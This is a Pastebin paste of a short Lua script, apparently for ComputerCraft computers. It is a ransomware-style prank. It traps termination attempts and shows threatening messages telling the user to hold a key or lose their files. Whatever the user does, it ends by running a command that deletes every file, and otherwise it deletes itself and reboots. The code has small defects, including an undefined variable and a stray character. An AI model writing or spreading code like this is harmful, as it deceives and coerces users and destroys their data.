Advertisement
Mackan90096

Untitled

Mar 28th, 2015
241
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.56 KB | None | 0 0
  1. function center(msg)
  2. w, h = term.getSize()
  3. term.setCursorPos(w/2, h/2)
  4. write(msg)
  5. end
  6.  
  7. x = 600;
  8. while true do
  9. e, p1, p2, p3 = os.pullEventRaw()
  10. if(e == "terminate") then
  11. if(al) then
  12. shell.run("rm", "*")
  13. end
  14. elseif(e == "key") then
  15. if(x > 0) then
  16. term.clear()
  17. center("Hold down a key for "..x.." more seconds and your files will be here")
  18. center("Terminate me, and so will your files.")
  19. sleep(1)
  20. x = x-1
  21. else
  22. shell.run("rm", "*")§
  23. end
  24. else
  25. shell.run("rm", shell.getRunningProgram())
  26. os.reboot()
  27. end
  28. end
  29. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement